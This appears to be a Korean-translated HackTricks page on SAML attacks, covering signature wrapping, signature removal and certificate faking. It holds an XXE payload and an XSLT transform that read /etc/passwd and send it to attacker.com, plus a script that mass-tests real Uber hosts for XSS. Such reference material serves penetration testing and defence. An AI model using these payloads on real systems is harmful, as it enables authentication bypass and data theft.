SAML Attacks

SAML 공격

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team 전문가)!

HackTricks를 지원하는 다른 방법:

회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하려면 구독 요금제를 확인하세요!
공식 PEASS & HackTricks 굿즈를 구매하세요
The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
해킹 요령을 공유하려면 PR을 제출하여 HackTricks 및 HackTricks Cloud github 저장소에 참여하세요.

기본 정보

pageSAML Basics

도구

SAMLExtractor: URL 또는 URL 목록을 가져와 SAML 소비 URL을 출력할 수 있는 도구입니다.

XML 라운드트립

XML에서 XML의 서명된 부분은 메모리에 저장되어 일부 인코딩/디코딩이 수행되고 서명이 확인됩니다. 이상적으로 그 인코딩/디코딩은 데이터를 변경하지 않아야 하지만 그 시나리오에 따라 확인되는 데이터와 원본 데이터가 동일하지 않을 수 있습니다.

예를 들어, 다음 코드를 확인하세요:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

프로그램을 REXML 3.2.4 이하 버전에 대해 실행하면 다음 출력이 나타납니다:

First child in original doc: Y
First child after round-trip: Z

이전 프로그램에서 REXML이 원본 XML 문서를 본 방식은 다음과 같습니다:

그리고 파싱 및 직렬화 라운드 후에 본 방식은 다음과 같습니다:

취약점 및 그것을 악용하는 방법에 대한 자세한 정보는 다음을 참조하십시오:

XML 서명 래핑 공격

**XML 서명 래핑 공격(XSW)**에서 공격자는 XML 문서가 서명 유효성 검사 및 기능 호출 두 가지 다른 단계를 통해 처리될 때 발생하는 취약점을 악용합니다. 이러한 공격은 XML 문서 구조를 변경하는 것을 포함합니다. 구체적으로, 공격자는 XML 서명의 유효성을 저해하지 않는 위조된 요소를 삽입합니다. 이 조작은 응용 프로그램 로직에 의해 분석되는 요소와 서명 검증 모듈에 의해 확인된 요소 사이에 불일치를 만들기 위함입니다. 결과적으로 XML 서명은 기술적으로 유효하고 확인을 통과하지만, 응용 프로그램 로직은 위조된 요소를 처리합니다. 따라서, 공격자는 XML 서명의 무결성 보호 및 원본 인증을 우회하여 감지되지 않고 임의의 콘텐츠를 삽입할 수 있습니다.

다음 공격은 이 블로그 게시물 및 이 논문에 기반합니다. 따라서 자세한 내용은 해당 자료를 확인하십시오.

XSW #1

전략: 서명이 포함된 새 루트 요소가 추가됨.
영향: 유효한 "Response -> Assertion -> Subject"와 공격자의 "악의적인 새 Response -> Assertion -> Subject" 사이에 혼란이 발생하여 데이터 무결성 문제가 발생할 수 있음.

XSW #2

XSW #1과의 차이점: 포장 서명 대신 분리된 서명을 활용함.
영향: XSW #1과 유사한 "악의적" 구조는 무결성 확인 후 비즈니스 로직을 속이기 위해 목적을 둠.

(이하 생략)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

도구

Burp 확장 프로그램 SAML Raider를 사용하여 SAML 요청에서 POC를 생성하여 가능한 XXE 취약점 및 SAML 취약점을 테스트할 수도 있습니다.

다음 토크도 확인해보세요: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML을 통한 XSLT

XSLT에 대한 자세한 정보는 다음을 참조하세요:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

확장 가능한 스타일시트 언어 변환(XSLT)은 XML 문서를 HTML, JSON 또는 PDF와 같은 다양한 형식으로 변환하는 데 사용될 수 있습니다. XSLT 변환은 디지털 서명의 확인 전에 수행됩니다. 이는 유효한 서명이 없어도 공격이 성공할 수 있다는 것을 의미합니다. 자체 서명 또는 유효하지 않은 서명이 있으면 충분합니다.

이러한 종류의 취약점을 확인하기 위한 POC를 여기에서 찾을 수 있으며, 이 섹션의 처음에 언급된 hacktricks 페이지에서 페이로드를 찾을 수 있습니다.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

도구

SAML Raider Burp 확장 프로그램을 사용하여 SAML 요청에서 POC를 생성하여 가능한 XSLT 취약점을 테스트할 수 있습니다.

다음 강연도 확인해보세요: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML 서명 제외

XML 서명 제외는 서명 요소가 없을 때 SAML 구현의 동작을 관찰합니다. 이 요소가 누락되면 서명 유효성 검사가 발생하지 않을 수 있어 취약해집니다. 이를 테스트하기 위해 일반적으로 서명으로 확인되는 내용을 변경하여 테스트할 수 있습니다.

도구

SAML Raider Burp 확장 프로그램을 사용할 수도 있습니다. SAML 응닑을 가로채고 서명 제거를 클릭합니다. 이렇게 하면 모든 서명 요소가 제거됩니다.

서명이 제거된 상태에서 요청이 대상으로 진행되도록 허용합니다. 서비스에서 서명이 필요하지 않은 경우

인증서 위조

인증서 위조는 서비스 제공자(SP)가 신뢰하는 ID 공급자(IdP)에 의해 서명된 SAML 메시지를 올바르게 확인하는지 테스트하는 기술입니다. 이는 자체 서명된 인증서를 사용하여 SAML 응닑 또는 주장에 서명하는 것을 포함하며, SP와 IdP 간의 신뢰 유효성 검사 프로세스를 평가하는 데 도움이 됩니다.

인증서 위조 수행 방법

다음 단계는 SAML Raider Burp 확장 프로그램을 사용하여 프로세스를 개요화한 것입니다:

SAML 응닑을 가로챕니다.
응답에 서명이 포함되어 있는 경우 인증서를 SAML Raider Certs로 보내기 버튼을 사용하여 인증서를 SAML Raider Certs로 보냅니다.
SAML Raider Certificates 탭에서 가져온 인증서를 선택하고 저장 및 자체 서명을 클릭하여 원본 인증서의 자체 서명된 복제본을 생성합니다.
Burp의 Proxy에서 가로챈 요청으로 돌아갑니다. XML 서명 드롭다운에서 새로운 자체 서명된 인증서를 선택합니다.
서명 제거 버튼을 사용하여 기존 서명을 제거합니다.
(다시) 메시지 서명 또는 (다시) 주장 서명 버튼을 사용하여 새 인증서로 메시지 또는 주장에 서명합니다.
서명된 메시지를 전달합니다. 성공적인 인증은 SP가 자체 서명된 인증서로 서명된 메시지를 수락하는 것을 나타내며, SAML 메시지의 유효성 검사 프로세스에서 잠재적인 취약점을 드러냅니다.

토큰 수령자 혼란 / 서비스 제공자 대상 혼란

토큰 수령자 혼란 및 서비스 제공자 대상 혼란은 서비스 제공자가 응답의 의도된 수령자를 올바르게 확인하는지 확인하는 것을 포함합니다. 본질적으로 서비스 제공자는 다른 제공자를 위해 응답이 의도된 경우 인증 응답을 거부해야 합니다. 여기서 중요한 요소는 SAML 응답의 SubjectConfirmationData 요소 내에 있는 Recipient 필드입니다. 이 필드는 주장이 전송되어야 하는 URL을 지정합니다. 실제 수령자가 의도된 서비스 제공자와 일치하지 않으면 주장은 잘못된 것으로 간주되어야 합니다.

작동 방식

SAML 토큰 수령자 혼란(SAML-TRC) 공격이 가능하려면 특정 조건이 충족되어야 합니다. 먼저 SP-Legit이라고 하는 서비스 제공자(SP)에 유효한 계정이 있어야 합니다. 둘째, 대상 서비스 제공자(SP-Target)는 SP-Legit에 서비스를 제공하는 동일한 ID 공급자에서 토큰을 수락해야 합니다.

이러한 조건 하에서 공격 프로세스는 간단합니다. 공유 ID 공급자를 통해 SP-Legit과의 실제 세션이 시작됩니다. ID 공급자에서 SP-Legit으로의 SAML 응답이 가로채집니다. SP-Legit을 위해 원래 의도된 이 가로챈 SAML 응답은 SP-Target으로 리디렉션됩니다. 이 공격의 성공은 SP-Target이 주장을 수락하고 SP-Legit에 사용된 동일한 계정 이름으로 리소스에 액세스 권한을 부여하는 것으로 측정됩니다.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

로그아웃 기능에서의 XSS

원본 연구는 이 링크를 통해 액세스할 수 있습니다.

디렉터리 브루트 포싱 과정 중 로그아웃 페이지가 다음 위치에서 발견되었습니다:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

해당 링크에 액세스하면 다음으로 리디렉션이 발생했습니다:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

이로 인해 base 매개변수가 URL을 허용한다는 것이 밝혀졌습니다. 이에 따라 URL을 javascript:alert(123);로 대체하여 XSS (Cross-Site Scripting) 공격을 시도하는 아이디어가 나왔습니다.

대규모 악용

이 연구에서:

uberinternal.com의 하위 도메인을 분석하기 위해 SAMLExtractor 도구를 사용하여 동일한 라이브러리를 사용하는 도메인을 찾았습니다. 이후 oidauth/prompt 페이지를 대상으로 하는 스크립트가 개발되었습니다. 이 스크립트는 데이터를 입력하고 출력에 반영되는지 확인하여 XSS (Cross-Site Scripting)를 테스트합니다. 입력이 실제로 반영되는 경우, 스크립트는 해당 페이지를 취약하다고 플래그 처리합니다.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

참고 자료

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

회사가 HackTricks에 광고되길 원하거나 PDF 형식의 HackTricks를 다운로드하고 싶다면 구독 요금제를 확인하세요!
공식 PEASS & HackTricks 스왜그를 구매하세요
The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
💬 디스코드 그룹이나 텔레그램 그룹에 가입하거나 트위터** 🐦 @carlospolopm를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

PreviousReset/Forgotten Password Bypass NextSAML Basics

Last updated 3 days ago